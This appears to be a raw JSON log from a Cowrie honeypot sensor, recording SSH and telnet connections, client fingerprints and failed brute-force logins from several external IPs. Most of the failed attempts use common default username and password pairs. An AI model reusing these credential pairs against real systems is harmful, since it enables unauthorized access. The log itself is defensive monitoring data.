{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:31.480832Z","src_ip":"165.154.137.186","session":"7c7f4e346d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:32.381972Z","src_ip":"165.154.137.186","session":"15cf4a850c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:32.758336Z","src_ip":"165.154.137.186","session":"7c7f4e346d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37530,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad048b6efafa","protocol":"ssh","message":"New connection: 8.210.75.243:37530 (10.17.0.5:22) [session: ad048b6efafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:33.917296Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":33910,"dst_ip":"10.17.0.5","dst_port":22,"session":"2282d56e883b","protocol":"ssh","message":"New connection: 165.154.137.186:33910 (10.17.0.5:22) [session: 2282d56e883b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:33.929604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:33.934186Z","src_ip":"165.154.137.186","session":"2282d56e883b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:33.937030Z","src_ip":"8.210.75.243","session":"ad048b6efafa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:34.209516Z","src_ip":"165.154.137.186","session":"2282d56e883b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:35.036029Z","src_ip":"165.154.137.186","session":"2282d56e883b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:36.313140Z","src_ip":"165.154.137.186","session":"2282d56e883b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49480,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac5aa847d24f","protocol":"telnet","message":"New connection: 170.64.224.25:49480 (159.203.135.109:23) [session: ac5aa847d24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:37.781956Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":51294,"dst_ip":"10.17.0.5","dst_port":22,"session":"c45dc979ddad","protocol":"ssh","message":"New connection: 23.88.42.180:51294 (10.17.0.5:22) [session: c45dc979ddad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:37.932405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:37.938198Z","src_ip":"23.88.42.180","session":"c45dc979ddad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:38.032315Z","src_ip":"23.88.42.180","session":"c45dc979ddad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftx","password":"ftx456","message":"login attempt [ftx/ftx456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:38.316970Z","src_ip":"23.88.42.180","session":"c45dc979ddad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":33922,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e08e980ddfd","protocol":"ssh","message":"New connection: 165.154.137.186:33922 (10.17.0.5:22) [session: 1e08e980ddfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:38.598967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:38.601830Z","src_ip":"165.154.137.186","session":"1e08e980ddfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:38.993219Z","src_ip":"165.154.137.186","session":"1e08e980ddfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:39.413100Z","src_ip":"23.88.42.180","session":"c45dc979ddad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:39.793933Z","src_ip":"165.154.137.186","session":"1e08e980ddfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:41.061153Z","src_ip":"165.154.137.186","session":"1e08e980ddfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":43088,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9e0b1687f3d","protocol":"ssh","message":"New connection: 159.65.58.200:43088 (159.203.135.109:22) [session: c9e0b1687f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:43.593232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:43.787863Z","src_ip":"159.65.58.200","session":"c9e0b1687f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:43.790525Z","src_ip":"159.65.58.200","session":"c9e0b1687f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49622,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb9c6d9bc90","protocol":"ssh","message":"New connection: 8.210.75.243:49622 (10.17.0.5:22) [session: 2bb9c6d9bc90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:44.669327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:44.673256Z","src_ip":"8.210.75.243","session":"2bb9c6d9bc90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sidorin","password":"123456","message":"login attempt [sidorin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:44.924450Z","src_ip":"159.65.58.200","session":"c9e0b1687f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:46.220040Z","src_ip":"159.65.58.200","session":"c9e0b1687f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":55040,"dst_ip":"10.17.0.5","dst_port":22,"session":"c94b75c07600","protocol":"ssh","message":"New connection: 91.92.40.4:55040 (10.17.0.5:22) [session: c94b75c07600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:46.370319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:46.373941Z","src_ip":"91.92.40.4","session":"c94b75c07600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:46.456261Z","src_ip":"91.92.40.4","session":"c94b75c07600","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password123","message":"login attempt [test/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:46.699107Z","src_ip":"91.92.40.4","session":"c94b75c07600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:47.781270Z","src_ip":"91.92.40.4","session":"c94b75c07600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40656,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7f2a0f944ba","protocol":"ssh","message":"New connection: 165.154.137.186:40656 (10.17.0.5:22) [session: e7f2a0f944ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:48.960292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:48.964096Z","src_ip":"165.154.137.186","session":"e7f2a0f944ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:49.236621Z","src_ip":"165.154.137.186","session":"e7f2a0f944ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:50.055900Z","src_ip":"165.154.137.186","session":"e7f2a0f944ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:51.331092Z","src_ip":"165.154.137.186","session":"e7f2a0f944ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40654,"dst_ip":"10.17.0.5","dst_port":22,"session":"e44bf193214e","protocol":"ssh","message":"New connection: 165.154.137.186:40654 (10.17.0.5:22) [session: e44bf193214e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:52.130389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:52.147493Z","src_ip":"165.154.137.186","session":"e44bf193214e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:52.420987Z","src_ip":"165.154.137.186","session":"e44bf193214e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:53.505847Z","src_ip":"165.154.137.186","session":"e44bf193214e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:54.784599Z","src_ip":"165.154.137.186","session":"e44bf193214e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:55.493255Z","src_ip":"8.210.75.243","session":"2bb9c6d9bc90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:56.117262Z","src_ip":"8.210.75.243","session":"2bb9c6d9bc90","protocol":"ssh"}
